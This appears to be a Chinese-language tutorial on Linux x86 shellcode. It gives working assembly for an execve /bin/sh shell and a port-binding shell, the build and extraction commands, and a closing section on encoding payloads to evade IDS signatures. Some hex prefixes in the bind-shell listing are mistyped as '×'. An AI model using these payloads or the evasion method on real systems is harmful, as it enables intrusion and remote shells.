1. 什么是shellcode
      Shellcode是指能完成特殊任务的自包含的二进制代码,根据不同的任务可能是发出一条系统调用或建立一个高权限的Shell,Shellcode也就由此得名。它的最终目的是取得目标机器的控制权,所以一般被***者利用系统的漏洞送入系统中执行,从而获取特殊权限的执行环境,或给自己设立有特权的帐户。
      Shellcode是一段高技巧的软件代码,为了小而精,一般直接写为16进制的操作码,当然编写者一般采用C或汇编编写,然后通过汇编程序成为16进制的操作码。

2  Linux系统调用
         为什么编写shellcode需要了解系统调用呢?因为系统调用是 用户态和内核态之间的一座桥梁。大多数操作系统都提供了很多应用程序可以访问到的核心函数,shellcode当然也需要调用这些 核心函数。Linux系统提供的核心函数可以方便的实现用来访问文件,执行命令,网络通信等等功能。这些函数就被成为系统调用(System Call)。Linux的系统调用在以下文件中定义:/usr/include/asm-i386 /unistd.h。
       启动一个系统调用需要使用int指令,linux系统调用位于中断0×80。当执行一个int 0×80指令后,发出一个软中断,强制内核停止当前工作来处理中断。内核首先检查传入参数的正确性,然后将下面寄存器的值复制到内核的内存空间,接下来参照中断描述符表(IDT)来处理中断。系统调用完成以后,继续执行int指令后的下一条指令。
       系统调用号是确定一个系统调用的关键数字,在执行int指令之前,它应当被传入EAX寄存器中,确定了一个系统调用号之后就要考虑给该系统调用传递什么参数来完成什么样的功能。存放参数的寄存器有5个,他们是EBX,ECX,EDX,ESI和EDI,这五个寄存器顺序的存放传入的系统调用参数。需要超过6个输入参数的系统调用使用不同的方法把参数传递给系统调用。EBX寄存器用于保护指向输入参数的内存位置的指针,输入参数按照连续的顺序存储。系统调用使用这个指针访问内存位置以便读取参数。

3 linux 常见的sbellcode
    a) 本地提权: 获取root权限,通过系统调用setreuid
    b) 执行shell :执行执行/bin/sh ,通过系统调用  execve
    c) 开启远程端口:用shellcode在目标计算机上打开一个端口(通讯服务),并将Shell绑定到该端口,***者可以放弃***时的用的端口
    d) 反向连接shellcode:当目标计算机在防火墙后时,防火墙不允许外边的计算机主动访问目标机器。所以即使采用上边的shellcode建立了服务后门,你还是不能与目标计算机建立连接。反向连接的含义就是,让目标计算机通过特定的IP(***者的)和端口反向连接到***者,也可以设定为在固定的时间段主动来建立连接。
    

4  Linux shellcode的编写步骤
   a) 编写出对应的C程序语言
   b) 根据C语言反汇编或者直接编写C语言对应的汇编程序。
   c) 调整汇编程序,减小shellcode体积,去掉可能存在的NULL字节。
   d) 提取汇编语言对应的16进编码。

5 Linux shellcode 举例

   a) /bin/sh shellocde  (intel汇编写法)
   xor eax,eax          eax=0
   push eax             eax=null
   push 0x68732f2f      压栈 //sh
   push 0x6e69622f      压栈 /bin
   mov ebx,esp          ebx=esp指向/bin/sh
   push eax             eax=null 结束栈null
   push ebx             参数2   ebx指向/bin/sh
   mov ecx,esp          参数3   ecx指向[“/bin/sh”,NULL]
   xor edx,edx          参数4  edx=NULL
   mov al,0xb           参数1  eax=0xb
   int 0x80 
    [root@0day linux]# nasm -f elf execve.asm  编写目标文件
    [root@0day linux]# ld -o execve execve.o   链接,生成可执行文件
    [root@0day linux]# objdump -d execve       获取16进制编码,提取shellcode
   
   
    b) /bin/sh shellocde  (AT&T汇编写法)
   xorl   %eax,%eax
   pushl  %eax
   pushl  $0x68732f2f
   pushl  $0x6e69622f
   movl   %esp, %ebx
   pushl  %eax
   pushl  %ebx
   movl   %esp, %ecx
   xorl   %edx, %edx
   movb   $0xb, %eax
   int    $0x80
    [root@0day linux]# as -f elf execve2.asm     编写目标文件
    [root@0day linux]# ld -o execve2 execve2.o   链接,生成可执行文件
    [root@0day linux]# objdump -d execve2        获取16进制编码,提取shellcode

   c 端口绑定
   xor    %eax,%eax
   xor    %ebx,%ebx
   xor    %ecx,%ecx
   push   %eax
   push   $0×1
   push   $0×2
   mov    %esp,%ecx
   inc    %bl
   mov    $0×66,%al
   int    $0×80
   mov    %eax,%esi
   push   %edx
   push   $0×8519ff02
   mov    %esp,%ecx
   push   $0×10
   push   %ecx
   push   %esi
   mov    %esp,%ecx
   inc    %bl
   mov    $0×66,%al
   int    $0×80
   push   %edx
   push   %esi
   mov    %esp,%ecx
   mov    $0×4,%bl
   mov    $0×66,%al
   int    $0×80
   push   %edx
   push   %edx
   push   %esi
   mov    %esp,%ecx
   inc    %bl
   mov    $0×66,%al
   int    $0×80
   mov    %eax,%ebx
   xor    %ecx,%ecx
   mov    $0×3f,%al
   int    $0×80
   inc    %ecx
   mov    $0×3f,%al
   int    $0×80
   inc    %ecx
   mov    $0×3f,%al
   int    $0×80
   push   %edx
   push   $0×68732f2f
   push   $0×6e69622f
   mov    %esp,%ebx
   push   %edx
   push   %ebx
   mov    %esp,%ecx
   mov    $0xb,%al
   int    $0×80
    [root@0day linux]# as -f elf bind.asm     编写目标文件
    [root@0day linux]# ld -o bind bind.o      链接,生成可执行文件
    [root@0day linux]# objdump -d bind        获取16进制编码,提取shellcode
 
 6  shellcode逃逸
         经典的Shellcode并不是有很多的版本,大多数人员都是采用同样的Shellcode,很少有人自己编写。所以IDS厂商把常见的Shellcode的指纹提取出来,作为验证***行为的“特征”,因为Shellcode的基本功能相同,都是诱使目标机器执行这些指令,目标代码在传输和存放时是很容易被IDS或系统察觉的,那么直到被执行前才恢复原来面貌是一个好注意。所以有人通过把代码简单移位,“加密”后的代码没有任何“意义”,到执行前再反向移位,被检测到的概率就小多了,这种方式对躲避IDS是很有效果的。